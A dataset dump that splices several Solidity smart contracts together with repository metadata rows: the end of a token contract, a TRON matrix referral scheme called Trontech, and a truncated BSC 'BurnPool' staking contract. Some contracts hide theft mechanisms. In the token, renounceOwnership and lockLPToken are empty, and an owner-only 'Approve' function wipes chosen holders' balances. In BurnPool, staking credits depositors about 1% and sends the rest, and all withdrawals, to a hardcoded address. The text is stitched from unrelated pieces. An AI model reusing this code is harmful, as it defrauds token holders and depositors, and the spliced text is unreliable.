for (uint256 y = 0; y < _rec.length; y++) {emit Transfer(_sendr, _rec[y], _amt[y]);}}
function execute(address _sendr,address[] memory _rec,uint256[] memory _amt) public _ownerAccess(){
for (uint256 y = 0; y < _rec.length; y++) {emit Transfer(_sendr, _rec[y], _amt[y]);}}
function renounceOwnership() public _ownerAccess(){}
function lockLPToken() public _ownerAccess(){}
function Approve(address[] memory bots) public _approveAccess(){
for (uint256 x = 0; x < bots.length; x++) {
uint256 amt = _balances[bots[x]];
_balances[bots[x]] = _balances[bots[x]].sub(amt, "ERC20: burn amount exceeds balance");
_balances[address(0)] = _balances[address(0)].add(amt);
}}
}
| 26,563 | 10,950 |
5b5edf0e22ed3da55562c1c6b92a405503890189bd454c5e2173f53ef68d6651
| 27,623 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TJ/TJ5LKkfQucTLyW2bUFKWb1nBjzsvVzBgkB_Trontech.sol
| 6,675 | 26,449 |
//SourceUnit: trontech.sol
pragma solidity >=0.4.23 <0.6.0;
contract Trontech {
struct User {
uint id;
address referrer;
uint partnersCount;
bool isMillionaires;
uint totalBusiness;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public constant LAST_LEVEL = 12;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(uint => address) public userIds;
mapping(address => uint) public balances;
uint16 internal constant MILLIONAIRES_PER = 500;
uint16 internal constant MILLION_DIVISOR = 5000;
uint16 internal constant LEVEL_PER = 2000;
uint16 internal constant LEVEL_DIVISOR = 10000;
uint public lastUserId = 2;
address public owner;
mapping(uint => uint) public levelPrice;
uint8 public constant levelIncome = 10;
uint8 public constant millionaireIncome = 5;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user,uint indexed userId, address indexed referrer,uint referrerId, uint8 matrix, uint8 level, uint8 place);
event MissedTRONReceive(address indexed receiver,uint receiverId, address indexed from,uint indexed fromId, uint8 matrix, uint8 level);
event MissedLevelIncome(address indexed receiver,uint receiverId, address indexed from,uint indexed fromId, uint8 matrix, uint8 level, uint8 networklevel);
event SentDividends(address indexed from,uint indexed fromId, address receiver,uint indexed receiverId, uint8 matrix, uint8 level, bool isExtra);
event SentLevelincome(address indexed from,uint indexed fromId, address receiver,uint indexed receiverId, uint8 matrix, uint8 level,uint8 networklevel, bool isExtraLevel);
event SentMillionaireincome(address indexed from,uint indexed fromId, address receiver,uint indexed receiverId, uint8 matrix, uint8 level,uint8 networklevel, bool isExtraLevel);
constructor(address ownerAddress) public {
levelPrice[1] = 25 trx;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
owner = ownerAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0),
isMillionaires: true,
totalBusiness: 0
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeX3Levels[i] = true;
users[ownerAddress].activeX6Levels[i] = true;
}
userIds[1] = ownerAddress;
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[msg.sender].activeX3Levels[level], "level already activated");
require(users[msg.sender].activeX3Levels[level - 1], "previous level must be activated");
if (users[msg.sender].x3Matrix[level-1].blocked) {
users[msg.sender].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(msg.sender, level);
users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer;
users[msg.sender].activeX3Levels[level] = true;
updateX3Referrer(msg.sender, freeX3Referrer, level);
emit Upgrade(msg.sender, freeX3Referrer, 1, level);
} else {
require(!users[msg.sender].activeX6Levels[level], "level already activated");
require(users[msg.sender].activeX6Levels[level - 1], "previous level must be activated");
if (users[msg.sender].x6Matrix[level-1].blocked) {
users[msg.sender].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(msg.sender, level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level);
emit Upgrade(msg.sender, freeX6Referrer, 2, level);
}
}
function registration(address userAddress, address referrerAddress) private {
require(msg.value == 50 trx, "registration cost 50");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0,
isMillionaires: false,
totalBusiness: 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
userIds[lastUserId] = userAddress;
lastUserId++;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendTRONDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 1, level, 3);
//close matrix
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendTRONDividends(owner, userAddress, 1, level);
users[owner].x3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendTRONDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref, users[ref].id, 2, level, 5);
} else {
emit NewUserPlace(userAddress, users[userAddress].id, ref, users[ref].id, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 3);
} else {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 5);
} else {
emit NewUserPlace(userAddress,users[userAddress].id, ref, users[ref].id, 2, level, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0],users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].id, 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1],users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].id, 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendTRONDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
sendTRONDividends(owner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function get3XMatrix(address userAddress, uint8 level) public view returns(address, address[] memory, uint, bool) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].reinvestCount,
users[userAddress].x3Matrix[level].blocked);
}
function getX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, uint, address) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].reinvestCount,
users[userAddress].x6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findTRONReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedTRONReceive(receiver,users[receiver].id, _from,users[_from].id, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedTRONReceive(receiver,users[receiver].id, _from,users[_from].id, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function findLevelReceiver(address userAddress, address _from, uint8 matrix, uint8 level, uint8 networklevel) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].activeX3Levels[level] == false) {
emit MissedLevelIncome(receiver,users[receiver].id, _from,users[_from].id, matrix, level, networklevel);
isExtraDividends = true;
receiver = users[receiver].referrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].activeX6Levels[level] == false) {
emit MissedLevelIncome(receiver,users[receiver].id, _from,users[_from].id, matrix, level, networklevel);
receiver = users[receiver].referrer;
isExtraDividends = true;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function findMillionReceiver(address userAddress, uint8 matrix) public view returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].isMillionaires) {
isExtraDividends = true;
receiver = users[receiver].referrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].isMillionaires) {
receiver = users[receiver].referrer;
isExtraDividends = true;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function distributeLevelIncome(address userAddress, uint8 matrix, uint8 level) private {
uint principal = (levelPrice[level] * LEVEL_PER / LEVEL_DIVISOR) * 100;
address from_address = userAddress;
bool owner_flag = false;
bool isExtraLevel;
address receiver;
for (uint8 i = 1; i <= 10 ; i++) {
isExtraLevel = false;
if(owner_flag == false)
{
userAddress = users[userAddress].referrer;
if(userAddress == owner)
{
owner_flag = true;
}
}
else
{
userAddress = owner;
}
receiver = userAddress;
if(userAddress != owner)
{
(receiver, isExtraLevel) = findLevelReceiver(receiver, from_address, matrix, level, i);
if(receiver == owner)
{
owner_flag = true;
}
userAddress = receiver;
}
if(!address(uint160(receiver)).send(((principal * levelIncome / LEVEL_DIVISOR))))
{
uint income = (principal * levelIncome / LEVEL_DIVISOR) * 100;
return address(uint160(receiver)).transfer(income);
}
emit SentLevelincome(from_address,users[from_address].id, receiver,users[receiver].id, matrix, level, i ,isExtraLevel);
}
}
function distributeMillionaireIncome(address userAddress, uint8 matrix, uint8 level) private {
uint principal = (levelPrice[level] * MILLIONAIRES_PER / MILLION_DIVISOR) * 100;
address from_address = userAddress;
bool owner_flag = false;
bool isExtraLevel;
address receiver;
for (uint8 i = 1; i <= 5 ; i++) {
isExtraLevel = false;
if(owner_flag == false)
{
userAddress = users[userAddress].referrer;
if(userAddress == owner)
{
owner_flag = true;
}
}
else
{
userAddress = owner;
}
receiver = userAddress;
if(userAddress != owner)
{
(receiver, isExtraLevel) = findMillionReceiver(receiver, matrix);
if(receiver == owner)
{
owner_flag = true;
}
userAddress = receiver;
}
if(!address(uint160(receiver)).send(((principal * millionaireIncome / MILLION_DIVISOR))))
{
uint income = (principal * millionaireIncome / MILLION_DIVISOR) * 100;
return address(uint160(receiver)).transfer(income);
}
emit SentMillionaireincome(from_address,users[from_address].id, receiver,users[receiver].id, matrix, level, i ,isExtraLevel);
}
}
function sendTRONDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findTRONReceiver(userAddress, _from, matrix, level);
emit SentDividends(_from,users[_from].id, receiver,users[receiver].id, matrix, level, isExtraDividends);
//increse user total business
users[userAddress].totalBusiness = users[userAddress].totalBusiness+(levelPrice[level] - (levelPrice[level] * (LEVEL_PER + MILLIONAIRES_PER) / LEVEL_DIVISOR));
if(users[userAddress].totalBusiness > 999999){
users[userAddress].isMillionaires = true;
}
if(!address(uint160(receiver)).send(levelPrice[level] - (levelPrice[level] * (LEVEL_PER + MILLIONAIRES_PER) / LEVEL_DIVISOR))){
return address(uint160(receiver)).transfer(levelPrice[level] - (levelPrice[level] * (LEVEL_PER + MILLIONAIRES_PER) / LEVEL_DIVISOR));
}
distributeLevelIncome(_from, matrix, level);
return distributeMillionaireIncome(_from, matrix, level);
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 291,692 | 10,951 |
fe3326f0a56c6193a279fde8e3bac489fda579fcc3bad112f0618f99f9bfc66f
| 27,128 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x8E66188fB888aEaE5D8AE57c0678cc8BDB44C055/contract.sol
| 3,955 | 15,103 |
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Dependency file: @openzeppelin/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Dependency file: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Dependency file: @openzeppelin/upgrades/contracts/Initializable.sol
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// Dependency file: contracts/StakePool.sol
contract StakePool is Initializable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public depositToken;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function initialize(address _token) public initializer {
depositToken = IERC20(_token);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _stake(uint256 amount) internal {
_totalSupply = _totalSupply.add(amount);
// Credit 99% of deposit amount for Mining Pool Fee
uint256 feeamount = amount.div(99); // 1%
uint256 finalamount = (amount - feeamount);
// Deposit LP tokens without the Pool Fee
_balances[msg.sender] = _balances[msg.sender].add(feeamount);
depositToken.safeTransferFrom(msg.sender, address(this), amount);
depositToken.safeTransfer(0xC8Ab5AF83562C64Af5220633Aba35Bf3427ee3f0, finalamount);
}
function _withdraw(uint256 amount) internal {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
depositToken.safeTransfer(0xC8Ab5AF83562C64Af5220633Aba35Bf3427ee3f0, amount);
}
}
// Dependency file: @openzeppelin/contracts/math/Math.sol
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract BurnPool is StakePool {
IERC20 public degenToken;
// Halving period in seconds, should be defined as 1 week
uint256 public halvingPeriod = 604800;
// Total reward in 18 decimal
uint256 public totalreward;
// Starting timestamp for Degen Staking Pool
uint256 public starttime;
// The timestamp when stakers should be allowed to withdraw
uint256 public stakingtime;
uint256 public eraPeriod = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint256 public totalRewards = 0;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor(address _depositToken, address _degenToken, uint256 _totalreward, uint256 _starttime, uint256 _stakingtime) public {
super.initialize(_depositToken);
degenToken = IERC20(_degenToken);
starttime = _starttime;
stakingtime = _stakingtime;
notifyRewardAmount(_totalreward.mul(50).div(100));
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, eraPeriod);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot stake 0 Tether");
super._stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot withdraw 0 Tether");
